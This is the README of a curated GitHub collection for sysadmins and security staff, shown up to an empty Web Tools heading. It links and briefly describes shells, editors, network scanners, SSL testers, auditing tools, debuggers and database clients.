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the-book-of-secret-knowledge

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A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools and more.

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"Knowledge is powerful, be careful how you use it!"

<h4 align="center">A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools, and more.</h4>

****

## :notebook_with_decorative_cover: &nbsp;What is it?

This repository is a collection of various materials and tools that I use every day in my work. It contains a lot of useful information gathered in one piece. It is an invaluable source of knowledge for me that I often look back on.

## :restroom: &nbsp;For whom?

For everyone, really. Here everyone can find their favourite tastes. But to be perfectly honest, it is aimed towards System and Network administrators, DevOps, Pentesters, and Security Researchers.

## :information_source: &nbsp;Contributing

If you find something which doesn't make sense, or something doesn't seem right, please make a pull request and please add valid and well-reasoned explanations about your changes or comments.

A few simple rules for this project:

- inviting and clear
- not tiring
- useful

These below rules may be better:

- easy to contribute to (Markdown + HTML ...)
- easy to find (simple TOC, maybe it's worth extending them?)

Url marked **\*** is temporary unavailable. Please don't delete it without confirming that it has permanently expired.

Before adding a pull request, please see the **[contributing guidelines](.github/CONTRIBUTING.md)**. You should also remember about this:

```diff
+ This repository is not meant to contain everything but only good quality stuff.
```

All **suggestions/PR** are welcome!

### Code Contributors

This project exists thanks to all the people who contribute.

### Financial Contributors

## :newspaper: &nbsp;RSS Feed & Updates

GitHub exposes an [RSS/Atom](https://github.com/trimstray/the-book-of-secret-knowledge/commits.atom) feed of the commits, which may also be useful if you want to be kept informed about all changes.

## :ballot_box_with_check: &nbsp;ToDo

- [ ] Add new stuff...
- [ ] Add useful shell functions
- [ ] Add one-liners for collection tools (eg. CLI Tools)
- [ ] Sort order in lists

New items are also added on a regular basis.

## :anger: &nbsp;Table of Contents

Only main chapters:

- **[CLI Tools](#cli-tools-toc)**
- **[GUI Tools](#gui-tools-toc)**
- **[Web Tools](#web-tools-toc)**
- **[Systems/Services](#systemsservices-toc)**
- **[Networks](#networks-toc)**
- **[Containers/Orchestration](#containersorchestration-toc)**
- **[Manuals/Howtos/Tutorials](#manualshowtostutorials-toc)**
- **[Inspiring Lists](#inspiring-lists-toc)**
- **[Blogs/Podcasts/Videos](#blogspodcastsvideos-toc)**
- **[Hacking/Penetration Testing](#hackingpenetration-testing-toc)**
- **[Your daily knowledge and news](#your-daily-knowledge-and-news-toc)**
- **[Other Cheat Sheets](#other-cheat-sheets-toc)**
- **[Shell One-liners](#shell-one-liners-toc)**
- **[Shell Tricks](#shell-tricks-toc)**
- **[Shell Functions](#shell-functions-toc)**

## :trident: &nbsp;The Book of Secret Knowledge (Chapters)

#### CLI Tools &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Shells

&nbsp;&nbsp; <a href="https://www.gnu.org/software/bash/">GNU Bash</a> - is an sh-compatible shell that incorporates useful features from the Korn shell and C shell. 
&nbsp;&nbsp; <a href="https://www.zsh.org/">Zsh</a> - is a shell designed for interactive use, although it is also a powerful scripting language. 
&nbsp;&nbsp; <a href="https://tcl-lang.org/">tclsh</a> - is a very powerful cross-platform shell, suitable for a huge range of uses. 
&nbsp;&nbsp; <a href="https://github.com/Bash-it/bash-it">bash-it</a> - is a framework for using, developing and maintaining shell scripts and custom commands. 
&nbsp;&nbsp; <a href="https://ohmyz.sh/">Oh My ZSH!</a> - is the best framework for managing your Zsh configuration. 
&nbsp;&nbsp; <a href="https://github.com/oh-my-fish/oh-my-fish">Oh My Fish</a> - the Fishshell framework. 
&nbsp;&nbsp; <a href="https://github.com/starship/starship">Starship</a> - the cross-shell prompt written in Rust. 
&nbsp;&nbsp; <a href="https://github.com/romkatv/powerlevel10k">powerlevel10k</a> - is a fast reimplementation of Powerlevel9k ZSH theme.

##### :black_small_square: Shell plugins

&nbsp;&nbsp; <a href="https://github.com/rupa/z">z</a> - tracks the folder you use the most and allow you to jump, without having to type the whole path. 
&nbsp;&nbsp; <a href="https://github.com/junegunn/fzf">fzf</a> - is a general-purpose command-line fuzzy finder. 
&nbsp;&nbsp; <a href="https://github.com/zsh-users/zsh-autosuggestions">zsh-autosuggestions</a> - Fish-like autosuggestions for Zsh. 
&nbsp;&nbsp; <a href="https://github.com/zsh-users/zsh-syntax-highlighting">zsh-syntax-highlighting</a> - Fish shell like syntax highlighting for Zsh. 
&nbsp;&nbsp; <a href="https://github.com/unixorn/awesome-zsh-plugins">Awesome ZSH Plugins</a> - A list of frameworks, plugins, themes and tutorials for ZSH.

##### :black_small_square: Managers

&nbsp;&nbsp; <a href="https://midnight-commander.org/">Midnight Commander</a> - is a visual file manager, licensed under GNU General Public License. 
&nbsp;&nbsp; <a href="https://github.com/ranger/ranger">ranger</a> - is a VIM-inspired filemanager for the console. 
&nbsp;&nbsp; <a href="https://github.com/jarun/nnn">nnn</a> - is a tiny, lightning fast, feature-packed file manager. 
&nbsp;&nbsp; <a href="https://www.gnu.org/software/screen/">screen</a> - is a full-screen window manager that multiplexes a physical terminal. 
&nbsp;&nbsp; <a href="https://github.com/tmux/tmux/wiki">tmux</a> - is a terminal multiplexer, lets you switch easily between several programs in one terminal. 
&nbsp;&nbsp; <a href="https://github.com/peikk0/tmux-cssh">tmux-cssh</a> - is a tool to set comfortable and easy to use functionality tmux-sessions.

##### :black_small_square: Text editors

&nbsp;&nbsp; <a href="http://ex-vi.sourceforge.net/">vi</a> - is one of the most common text editors on Unix. 
&nbsp;&nbsp; <a href="https://www.vim.org/">vim</a> - is a highly configurable text editor. 
&nbsp;&nbsp; <a href="https://www.gnu.org/software/emacs/">emacs</a> - is an extensible, customizable, free/libre text editor, and more. 
&nbsp;&nbsp; <a href="https://github.com/zyedidia/micro">micro</a> - is a modern and intuitive terminal-based text editor. 
&nbsp;&nbsp; <a href="https://neovim.io/">neovim</a> - is a free open source, powerful, extensible and usable code editor. 
&nbsp;&nbsp; <a href="https://www.spacemacs.org/">spacemacs</a> - a community-driven Emacs distribution. 
&nbsp;&nbsp; <a href="https://spacevim.org/">spacevim</a> - a community-driven vim distribution.

##### :black_small_square: Files and directories

&nbsp;&nbsp; <a href="https://github.com/sharkdp/fd">fd</a> - is a simple, fast and user-friendly alternative to find. 
&nbsp;&nbsp; <a href="https://dev.yorhel.nl/ncdu">ncdu</a> - is an easy to use, fast disk usage analyzer.

##### :black_small_square: Network

&nbsp;&nbsp; <a href="https://www.putty.org/">PuTTY</a> - is an SSH and telnet client, developed originally by Simon Tatham. 
&nbsp;&nbsp; <a href="https://mosh.org/">Mosh</a> - is a SSH wrapper designed to keep a SSH session alive over a volatile connection. 
&nbsp;&nbsp; <a href="https://eternalterminal.dev/">Eternal Terminal</a> - enables mouse-scrolling and tmux commands inside the SSH session. 
&nbsp;&nbsp; <a href="https://nmap.org/">nmap</a> - is a free and open source (license) utility for network discovery and security auditing. 
&nbsp;&nbsp; <a href="https://github.com/zmap/zmap">zmap</a> - is a fast single packet network scanner designed for Internet-wide network surveys. 
&nbsp;&nbsp; <a href="https://github.com/RustScan/RustScan">Rust Scan</a> - to find all open ports faster than Nmap. 
&nbsp;&nbsp; <a href="https://github.com/robertdavidgraham/masscan">masscan</a> - is the fastest Internet port scanner, spews SYN packets asynchronously. 
&nbsp;&nbsp; <a href="https://github.com/gvb84/pbscan">pbscan</a> - is a faster and more efficient stateless SYN scanner and banner grabber. 
&nbsp;&nbsp; <a href="http://www.hping.org/">hping</a> - is a command-line oriented TCP/IP packet assembler/analyzer. 
&nbsp;&nbsp; <a href="https://github.com/traviscross/mtr">mtr</a> - is a tool that combines the functionality of the 'traceroute' and 'ping' programs in a single tool. 
&nbsp;&nbsp; <a href="https://github.com/mehrdadrad/mylg">mylg</a> - utility which combines the functions of the different network probes in one diagnostic tool. 
&nbsp;&nbsp; <a href="http://netcat.sourceforge.net/">netcat</a> - utility which reads and writes data across network connections, using the TCP/IP protocol. 
&nbsp;&nbsp; <a href="http://www.dest-unreach.org/socat/">socat</a> - utility which transfers data between two objects. 
&nbsp;&nbsp; <a href="https://www.tcpdump.org/">tcpdump</a> - is a powerful command-line packet analyzer. 
&nbsp;&nbsp; <a href="https://www.wireshark.org/docs/man-pages/tshark.html">tshark</a> - is a tool that allows us to dump and analyze network traffic (wireshark cli). 
&nbsp;&nbsp; <a href="https://termshark.io/">Termshark</a> - is a simple terminal user-interface for tshark. 
&nbsp;&nbsp; <a href="https://github.com/jpr5/ngrep">ngrep</a> - is like GNU grep applied to the network layer. 
&nbsp;&nbsp; <a href="http://netsniff-ng.org/">netsniff-ng</a> - is a Swiss army knife for your daily Linux network plumbing if you will. 
&nbsp;&nbsp; <a href="https://github.com/mechpen/sockdump">sockdump</a> - dump unix domain socket traffic. 
&nbsp;&nbsp; <a href="https://github.com/google/stenographer">stenographer</a> - is a packet capture solution which aims to quickly spool all packets to disk. 
&nbsp;&nbsp; <a href="https://github.com/sachaos/tcpterm">tcpterm</a> - visualize packets in TUI. 
&nbsp;&nbsp; <a href="https://github.com/tgraf/bmon">bmon</a> - is a monitoring and debugging tool to capture networking related statistics and prepare them visually. 
&nbsp;&nbsp; <a href="http://iptraf.seul.org/2.6/manual.html#installation">iptraf-ng</a> - is a console-based network monitoring program for Linux that displays information about IP traffic. 
&nbsp;&nbsp; <a href="https://github.com/vergoh/vnstat">vnstat</a> - is a network traffic monitor for Linux and BSD. 
&nbsp;&nbsp; <a href="https://iperf.fr/">iPerf3</a> - is a tool for active measurements of the maximum achievable bandwidth on IP networks. 
&nbsp;&nbsp; <a href="https://github.com/Microsoft/Ethr">ethr</a> - is a Network Performance Measurement Tool for TCP, UDP & HTTP. 
&nbsp;&nbsp; <a href="https://github.com/jwbensley/Etherate">Etherate</a> - is a Linux CLI based Ethernet and MPLS traffic testing tool. 
&nbsp;&nbsp; <a href="https://github.com/mpolden/echoip">echoip</a> - is a IP address lookup service. 
&nbsp;&nbsp; <a href="https://github.com/troglobit/nemesis">Nemesis</a> - packet manipulation CLI tool; craft and inject packets of several protocols. 
&nbsp;&nbsp; <a href="https://github.com/packetfu/packetfu">packetfu</a> - a mid-level packet manipulation library for Ruby. 
&nbsp;&nbsp; <a href="https://scapy.net/">Scapy</a> - packet manipulation library; forge, send, decode, capture packets of a wide number of protocols. 
&nbsp;&nbsp; <a href="https://github.com/SecureAuthCorp/impacket">impacket</a> - is a collection of Python classes for working with network protocols. 
&nbsp;&nbsp; <a href="https://github.com/arthepsy/ssh-audit">ssh-audit</a> - is a tool for SSH server auditing. 
&nbsp;&nbsp; <a href="https://aria2.github.io/">aria2</a> - is a lightweight multi-protocol & multi-source command-line download utility. 
&nbsp;&nbsp; <a href="https://github.com/x-way/iptables-tracer">iptables-tracer</a> - observe the path of packets through the iptables chains. 
&nbsp;&nbsp; <a href="https://github.com/proabiral/inception">inception</a> - a highly configurable tool to check for whatever you like against any number of hosts. 
&nbsp;&nbsp; <a href="https://mremoteng.org/">mRemoteNG</a> - a fork of mRemote, multi-tabbed PuTTy on steroids!

##### :black_small_square: Network (DNS)

&nbsp;&nbsp; <a href="https://github.com/farrokhi/dnsdiag">dnsdiag</a> - is a DNS diagnostics and performance measurement tools. 
&nbsp;&nbsp; <a href="https://github.com/mschwager/fierce">fierce</a> - is a DNS reconnaissance tool for locating non-contiguous IP space. 
&nbsp;&nbsp; <a href="https://github.com/subfinder/subfinder">subfinder</a> - is a subdomain discovery tool that discovers valid subdomains for websites. 
&nbsp;&nbsp; <a href="https://github.com/aboul3la/Sublist3r">sublist3r</a> - is a fast subdomains enumeration tool for penetration testers. 
&nbsp;&nbsp; <a href="https://github.com/OWASP/Amass">amass</a> - is tool that obtains subdomain names by scraping data sources, crawling web archives, and more. 
&nbsp;&nbsp; <a href="https://github.com/google/namebench">namebench</a> - provides personalized DNS server recommendations based on your browsing history. 
&nbsp;&nbsp; <a href="https://github.com/blechschmidt/massdns">massdns</a> - is a high-performance DNS stub resolver for bulk lookups and reconnaissance. 
&nbsp;&nbsp; <a href="https://github.com/guelfoweb/knock">knock</a> - is a tool to enumerate subdomains on a target domain through a wordlist. 
&nbsp;&nbsp; <a href="https://github.com/DNS-OARC/dnsperf">dnsperf</a> - DNS performance testing tools. 
&nbsp;&nbsp; <a href="https://github.com/jedisct1/dnscrypt-proxy">dnscrypt-proxy 2</a> - a flexible DNS proxy, with support for encrypted DNS protocols. 
&nbsp;&nbsp; <a href="https://github.com/dnsdb/dnsdbq">dnsdbq</a> - API client providing access to passive DNS database systems. 
&nbsp;&nbsp; <a href="https://github.com/looterz/grimd">grimd</a> - fast dns proxy, built to black-hole internet advertisements and malware servers. 
 &nbsp;&nbsp; <a href="https://github.com/elceef/dnstwist">dnstwist</a> - detect typosquatters, phishing attacks, fraud, and brand impersonation.

##### :black_small_square: Network (HTTP)

&nbsp;&nbsp; <a href="https://curl.haxx.se/">curl</a> - is a command line tool and library for transferring data with URLs. 
&nbsp;&nbsp; <a href="https://gitlab.com/davidjpeacock/kurly">kurly</a> - is an alternative to the widely popular curl program, written in Golang. 
&nbsp;&nbsp; <a href="https://github.com/jakubroztocil/httpie">HTTPie</a> - is an user-friendly HTTP client. 
&nbsp;&nbsp; <a href="https://github.com/asciimoo/wuzz">wuzz</a> - is an interactive cli tool for HTTP inspection. 
&nbsp;&nbsp; <a href="https://github.com/summerwind/h2spec">h2spec</a> - is a conformance testing tool for HTTP/2 implementation. 
&nbsp;&nbsp; <a href="https://github.com/gildasio/h2t">h2t</a> - is a simple tool to help sysadmins to hardening their websites. 
&nbsp;&nbsp; <a href="https://github.com/trimstray/htrace.sh">htrace.sh</a> - is a simple Swiss Army knife for http/https troubleshooting and profiling. 
&nbsp;&nbsp; <a href="https://github.com/reorx/httpstat">httpstat</a> - is a tool that visualizes curl statistics in a way of beauty and clarity. 
&nbsp;&nbsp; <a href="https://github.com/gchaincl/httplab">httplab</a> - is an interactive web server. 
&nbsp;&nbsp; <a href="https://lynx.browser.org/">Lynx</a> - is a text browser for the World Wide Web. 
&nbsp;&nbsp; <a href="https://github.com/browsh-org/browsh/">Browsh</a> - is a fully interactive, real-time, and modern text-based browser. 
&nbsp;&nbsp; <a href="https://github.com/dhamaniasad/HeadlessBrowsers">HeadlessBrowsers</a> - a list of (almost) all headless web browsers in existence. 
&nbsp;&nbsp; <a href="https://httpd.apache.org/docs/2.4/programs/ab.html">ab</a> - is a single-threaded command line tool for measuring the performance of HTTP web servers. 
&nbsp;&nbsp; <a href="https://www.joedog.org/siege-home/">siege</a> - is an http load testing and benchmarking utility. 
&nbsp;&nbsp; <a href="https://github.com/wg/wrk">wrk</a> - is a modern HTTP benchmarking tool capable of generating significant load. 
&nbsp;&nbsp; <a href="https://github.com/giltene/wrk2">wrk2</a> - is a constant throughput, correct latency recording variant of wrk. 
&nbsp;&nbsp; <a href="https://github.com/tsenart/vegeta">vegeta</a> - is a constant throughput, correct latency recording variant of wrk. 
&nbsp;&nbsp; <a href="https://github.com/codesenberg/bombardier">bombardier</a> - is a fast cross-platform HTTP benchmarking tool written in Go. 
&nbsp;&nbsp; <a href="https://github.com/cmpxchg16/gobench">gobench</a> - http/https load testing and benchmarking tool. 
&nbsp;&nbsp; <a href="https://github.com/rakyll/hey">hey</a> - HTTP load generator, ApacheBench (ab) replacement, formerly known as rakyll/boom. 
&nbsp;&nbsp; <a href="https://github.com/tarekziade/boom">boom</a> - is a script you can use to quickly smoke-test your web app deployment. 
&nbsp;&nbsp; <a href="https://github.com/shekyan/slowhttptest">SlowHTTPTest</a> - is a tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP. 
&nbsp;&nbsp; <a href="https://github.com/OJ/gobuster">gobuster</a> - is a free and open source directory/file & DNS busting tool written in Go. 
&nbsp;&nbsp; <a href="https://github.com/ssllabs/ssllabs-scan">ssllabs-scan</a> - command-line reference-implementation client for SSL Labs APIs. 
&nbsp;&nbsp; <a href="https://github.com/mozilla/http-observatory">http-observatory</a> - Mozilla HTTP Observatory cli version. 
&nbsp;&nbsp; <a href="https://hurl.dev">Hurl</a> - is a command line tool to run and test HTTP requests with plain text.

##### :black_small_square: SSL

&nbsp;&nbsp; <a href="https://www.openssl.org/">openssl</a> - is a robust, commercial-grade, and full-featured toolkit for the TLS and SSL protocols. 
&nbsp;&nbsp; <a href="https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html">gnutls-cli</a> - client program to set up a TLS connection to some other computer. 
&nbsp;&nbsp; <a href="https://github.com/nabla-c0d3/sslyze">sslyze
</a> - fast and powerful SSL/TLS server scanning library. 
&nbsp;&nbsp; <a href="https://github.com/rbsec/sslscan">sslscan</a> - tests SSL/TLS enabled services to discover supported cipher suites. 
&nbsp;&nbsp; <a href="https://github.com/drwetter/testssl.sh">testssl.sh</a> - testing TLS/SSL encryption anywhere on any port. 
&nbsp;&nbsp; <a href="https://github.com/mozilla/cipherscan">cipherscan</a> - a very simple way to find out which SSL ciphersuites are supported by a target. 
&nbsp;&nbsp; <a href="http://www.tarsnap.com/spiped.html">spiped</a> - is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses. 
&nbsp;&nbsp; <a href="https://github.com/certbot/certbot">Certbot</a> - is EFF's tool to obtain certs from Let's Encrypt and (optionally) auto-enable HTTPS on your server. 
&nbsp;&nbsp; <a href="https://github.com/FiloSottile/mkcert">mkcert</a> - simple zero-config tool to make locally trusted development certificates with any names you'd like. 
&nbsp;&nbsp; <a href="https://github.com/square/certstrap">certstrap</a> - tools to bootstrap CAs, certificate requests, and signed certificates. 
&nbsp;&nbsp; <a href="https://github.com/yassineaboukir/sublert">Sublert</a> - is a security and reconnaissance tool to automatically monitor new subdomains. 
&nbsp;&nbsp; <a href="https://github.com/trimstray/mkchain">mkchain</a> - open source tool to help you build a valid SSL certificate chain. 
&nbsp;&nbsp; <a href="https://github.com/Matty9191/ssl-cert-check">ssl-cert-check</a> - SSL Certification Expiration Checker.

##### :black_small_square: Security

&nbsp;&nbsp; <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux">SELinux</a> - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel. 
&nbsp;&nbsp; <a href="https://wiki.ubuntu.com/AppArmor">AppArmor</a> - proactively protects the operating system and applications from external or internal threats. 
&nbsp;&nbsp; <a href="https://github.com/grapheneX/grapheneX">grapheneX</a> - Automated System Hardening Framework. 
&nbsp;&nbsp; <a href="https://github.com/dev-sec/">DevSec Hardening Framework</a> - Security + DevOps: Automatic Server Hardening.

##### :black_small_square: Auditing Tools

&nbsp;&nbsp; <a href="https://www.ossec.net/">ossec</a> - actively monitoring all aspects of system activity with file integrity monitoring. 
&nbsp;&nbsp; <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">auditd</a> - provides a way to track security-relevant information on your system. 
&nbsp;&nbsp; <a href="https://www.nongnu.org/tiger/">Tiger</a> - is a security tool that can be use both as a security audit and intrusion detection system. 
&nbsp;&nbsp; <a href="https://cisofy.com/lynis/">Lynis</a> - battle-tested security tool for systems running Linux, macOS, or Unix-based operating system. 
&nbsp;&nbsp; <a href="https://github.com/rebootuser/LinEnum">LinEnum</a> - scripted Local Linux Enumeration & Privilege Escalation Checks. 
&nbsp;&nbsp; <a href="https://github.com/installation/rkhunter">Rkhunter</a> - scanner tool for Linux systems that scans backdoors, rootkits and local exploits on your systems. 
&nbsp;&nbsp; <a href="https://github.com/hasherezade/pe-sieve">PE-sieve</a> - is a light-weight tool that helps to detect malware running on the system. 
&nbsp;&nbsp; <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">PEASS</a> - privilege escalation tools for Windows and Linux/Unix and MacOS.

##### :black_small_square: System Diagnostics/Debuggers

&nbsp;&nbsp; <a href="https://github.com/strace/strace">strace</a> - diagnostic, debugging and instructional userspace utility for Linux. 
&nbsp;&nbsp; <a href="http://dtrace.org/blogs/about/">DTrace</a> - is a performance analysis and troubleshooting tool. 
&nbsp;&nbsp; <a href="https://en.wikipedia.org/wiki/Ltrace">ltrace</a> - is a library call tracer, used to trace calls made by programs to library functions. 
&nbsp;&nbsp; <a href="https://github.com/brainsmoke/ptrace-burrito">ptrace-burrito</a> - is a friendly wrapper around ptrace. 
&nbsp;&nbsp; <a href="https://github.com/brendangregg/perf-tools">perf-tools</a> - performance analysis tools based on Linux perf_events (aka perf) and ftrace. 
&nbsp;&nbsp; <a href="https://github.com/iovisor/bpftrace">bpftrace</a> - high-level tracing language for Linux eBPF. 
&nbsp;&nbsp; <a href="https://github.com/draios/sysdig">sysdig</a> - system exploration and troubleshooting tool with first class support for containers. 
&nbsp;&nbsp; <a href="http://www.valgrind.org/">Valgrind</a> - is an instrumentation framework for building dynamic analysis tools. 
&nbsp;&nbsp; <a href="https://github.com/gperftools/gperftools">gperftools</a> - high-performance multi-threaded malloc() implementation, plus some performance analysis tools. 
&nbsp;&nbsp; <a href="https://nicolargo.github.io/glances/">glances</a> - cross-platform system monitoring tool written in Python. 
&nbsp;&nbsp; <a href="https://github.com/hishamhm/htop">htop</a> - interactive text-mode process viewer for Unix systems. It aims to be a better 'top'. 
&nbsp;&nbsp; <a href="https://github.com/aristocratos/bashtop">bashtop</a> - Linux resource monitor written in pure Bash. 
&nbsp;&nbsp; <a href="http://nmon.sourceforge.net/pmwiki.php">nmon</a> - a single executable for performance monitoring and data analysis. 
&nbsp;&nbsp; <a href="https://www.atoptool.nl/">atop</a> - ASCII performance monitor. Includes statistics for CPU, memory, disk, swap, network, and processes. 
&nbsp;&nbsp; <a href="https://en.wikipedia.org/wiki/Lsof">lsof</a> - displays in its output information about files that are opened by processes. 
&nbsp;&nbsp; <a href="http://www.brendangregg.com/flamegraphs.html">FlameGraph</a> - stack trace visualizer. 
&nbsp;&nbsp; <a href="https://github.com/zevv/lsofgraph">lsofgraph</a> - convert Unix lsof output to a graph showing FIFO and UNIX interprocess communication. 
&nbsp;&nbsp; <a href="https://github.com/mozilla/rr">rr</a> - is a lightweight tool for recording, replaying and debugging execution of applications. 
&nbsp;&nbsp; <a href="https://pcp.io/index.html">Performance Co-Pilot</a> - a system performance analysis toolkit. 
&nbsp;&nbsp; <a href="https://github.com/sharkdp/hexyl">hexyl</a> - a command-line hex viewer. 
&nbsp;&nbsp; <a href="https://github.com/p403n1x87/austin">Austin</a> - Python frame stack sampler for CPython.

##### :black_small_square: Log Analyzers

&nbsp;&nbsp; <a href="https://github.com/rcoh/angle-grinder">angle-grinder</a> - slice and dice log files on the command line. 
&nbsp;&nbsp; <a href="https://lnav.org">lnav</a> - log file navigator with search and automatic refresh. 
&nbsp;&nbsp; <a href="https://goaccess.io/">GoAccess</a> - real-time web log analyzer and interactive viewer that runs in a terminal. 
&nbsp;&nbsp; <a href="https://github.com/lebinh/ngxtop">ngxtop</a> - real-time metrics for nginx server.

##### :black_small_square: Databases

&nbsp;&nbsp; <a href="https://github.com/xo/usql">usql</a> - universal command-line interface for SQL databases. 
&nbsp;&nbsp; <a href="https://github.com/dbcli/pgcli">pgcli</a> - postgres CLI with autocompletion and syntax highlighting. 
&nbsp;&nbsp; <a href="https://github.com/dbcli/mycli">mycli</a> - terminal client for MySQL with autocompletion and syntax highlighting. 
&nbsp;&nbsp; <a href="https://github.com/dbcli/litecli">litecli</a> - SQLite CLI with autocompletion and syntax highlighting. 
 &nbsp;&nbsp; <a href="https://github.com/dbcli/mssql-cli">mssql-cli</a> - SQL Server CLI with autocompletion and syntax highlighting. 
&nbsp;&nbsp; <a href="https://github.com/osquery/osquery">OSQuery</a> - is a SQL powered operating system instrumentation, monitoring, and analytics framework. 
&nbsp;&nbsp; <a href="https://github.com/ankane/pgsync">pgsync</a> - sync data from one Postgres database to another. 
&nbsp;&nbsp; <a href="https://github.com/laixintao/iredis">iredis</a> - a terminal client for redis with autocompletion and syntax highlighting. 
&nbsp;&nbsp; <a href="https://www.schemacrawler.com/diagramming.html">SchemaCrawler</a> - generates an E-R diagram of your database.

##### :black_small_square: TOR

&nbsp;&nbsp; <a href="https://github.com/GouveaHeitor/nipe">Nipe</a> - script to make Tor Network your default gateway. 
&nbsp;&nbsp; <a href="https://github.com/trimstray/multitor">multitor</a> - a tool that lets you create multiple TOR instances with a load-balancing.

##### :black_small_square: Messengers/IRC Clients

&nbsp;&nbsp; <a href="https://irssi.org">Irssi</a> - is a free open source terminal based IRC client. 
&nbsp;&nbsp; <a href="https://weechat.org/">WeeChat</a> - is an extremely extensible and lightweight IRC client.

##### :black_small_square: Productivity

&nbsp;&nbsp; <a href="https://taskwarrior.org">taskwarrior</a> - task management system, todo list

##### :black_small_square: Other

&nbsp;&nbsp; <a href="https://github.com/skx/sysadmin-util">sysadmin-util</a> - tools for Linux/Unix sysadmins. 
&nbsp;&nbsp; <a href="http://inotify.aiken.cz/">incron</a> - is an inode-based filesystem notification technology. 
&nbsp;&nbsp; <a href="https://github.com/axkibe/lsyncd">lsyncd</a> - synchronizes local directories with remote targets (Live Syncing Daemon). 
&nbsp;&nbsp; <a href="https://github.com/rgburke/grv">GRV</a> - is a terminal based interface for viewing Git repositories. 
&nbsp;&nbsp; <a href="https://jonas.github.io/tig/">Tig</a> - text-mode interface for Git. 
&nbsp;&nbsp; <a href="https://github.com/tldr-pages/tldr">tldr</a> - simplified and community-driven man pages. 
&nbsp;&nbsp; <a href="https://github.com/mholt/archiver">archiver</a> - easily create and extract .zip, .tar, .tar.gz, .tar.bz2, .tar.xz, .tar.lz4, .tar.sz, and .rar. 
&nbsp;&nbsp; <a href="https://github.com/tj/commander.js">commander.js</a> - minimal CLI creator in JavaScript. 
&nbsp;&nbsp; <a href="https://github.com/tomnomnom/gron">gron</a> - make JSON greppable! 
&nbsp;&nbsp; <a href="https://github.com/itchyny/bed">bed</a> - binary editor written in Go.

#### GUI Tools &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Terminal emulators

&nbsp;&nbsp; <a href="https://github.com/Guake/guake">Guake</a> - is a dropdown terminal made for the GNOME desktop environment. 
&nbsp;&nbsp; <a href="https://gnometerminator.blogspot.com/p/introduction.html">Terminator</a> - is based on GNOME Terminal, useful features for sysadmins and other users. 
&nbsp;&nbsp; <a href="https://sw.kovidgoyal.net/kitty/">Kitty</a> - is a GPU based terminal emulator that supports smooth scrolling and images. 
&nbsp;&nbsp; <a href="https://github.com/alacritty/alacritty">Alacritty</a> - is a fast, cross-platform, OpenGL terminal emulator.

##### :black_small_square: Network

&nbsp;&nbsp; <a href="https://www.wireshark.org/">Wireshark</a> - is the world’s foremost and widely-used network protocol analyzer. 
&nbsp;&nbsp; <a href="https://www.ettercap-project.org/">Ettercap</a> - is a comprehensive network monitor tool. 
&nbsp;&nbsp; <a href="https://etherape.sourceforge.io/">EtherApe</a> - is a graphical network monitoring solution. 
&nbsp;&nbsp; <a href="https://packetsender.com/">Packet Sender</a> - is a networking utility for packet generation and built-in UDP/TCP/SSL client and servers. 
&nbsp;&nbsp; <a href="https://ostinato.org/">Ostinato</a> - is a packet crafter and traffic generator. 
&nbsp;&nbsp; <a href="https://jmeter.apache.org/">JMeter™</a> - open source software to load test functional behavior and measure performance. 
&nbsp;&nbsp; <a href="https://github.com/locustio/locust">locust</a> - scalable user load testing tool written in Python.

##### :black_small_square: Browsers

&nbsp;&nbsp; <a href="https://www.torproject.org/">TOR Browser</a> - protect your privacy and defend yourself against network surveillance and traffic analysis.

##### :black_small_square: Password Managers

&nbsp;&nbsp; <a href="https://keepassxc.org/">KeePassXC</a> - store your passwords safely and auto-type them into your everyday websites and apps. 
&nbsp;&nbsp; <a href="https://bitwarden.com/">Bitwarden</a> - open source password manager with built-in sync. 
&nbsp;&nbsp; <a href="https://github.com/dani-garcia/vaultwarden/">Vaultwarden</a> - unofficial Bitwarden compatible server written in Rust.

##### :black_small_square: Messengers/IRC Clients

&nbsp;&nbsp; <a href="https://hexchat.github.io/index.html">HexChat</a> - is an IRC client based on XChat. 
&nbsp;&nbsp; <a href="https://pidgin.im/">Pidgin</a> - is an easy to use and free chat client used by millions.

##### :black_small_square: Messengers (end-to-end encryption)

&nbsp;&nbsp; <a href="https://www.signal.org/">Signal</a> - is an encrypted communications app. 
&nbsp;&nbsp; <a href="https://wire.com/en/">Wire</a> - secure messaging, file sharing, voice calls and video conferences. 
&nbsp;&nbsp; <a href="https://github.com/prof7bit/TorChat">TorChat</a> - decentralized anonymous instant messenger on top of Tor Hidden Services. 
&nbsp;&nbsp; <a href="https://matrix.org/">Matrix</a> - an open network for secure, decentralized, real-time communication.

##### :black_small_square: Text editors

&nbsp;&nbsp; <a href="https://www.sublimetext.com/3">Sublime Text</a> - is a lightweight, cross-platform code editor known for its speed, ease of use. 
&nbsp;&nbsp; <a href="https://code.visualstudio.com/">Visual Studio Code</a> - an open-source and free source code editor developed by Microsoft. 
&nbsp;&nbsp; <a href="https://atom.io/">Atom</a> - a hackable text editor for the 21st Century.

#### Web Tools &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Browsers

&nbsp;&nbsp; <a href="https://www.ssllabs.com/ssltest/viewMyClient.html">SSL/TLS Capabilities of Your Browser</a> - test your browser's SSL implementation. 
&nbsp;&nbsp; <a href="https://caniuse.com/">Can I use</a> - provides up-to-date browser support tables for support of front-end web technologies. 
&nbsp;&nbsp; <a href="https://panopticlick.eff.org/">Panopticlick 3.0</a> - is your browser safe against tracking? 
&nbsp;&nbsp; <a href="https://privacy.net/analyzer/">Privacy Analyzer</a> - see what data is exposed from your browser. 
&nbsp;&nbsp; <a href="https://browserleaks.com/">Web Browser Security</a> - it's all about Web Browser fingerprinting. 
&nbsp;&nbsp; <a href="https://www.howsmyssl.com/">How's My SSL?</a> - help a web server developer learn what real world TLS clients were capable of. 
&nbsp;&nbsp; <a href="https://suche.org/sslClientInfo">sslClientInfo</a> - client test (incl TLSv1.3 information).

##### :black_small_square: SSL/Security

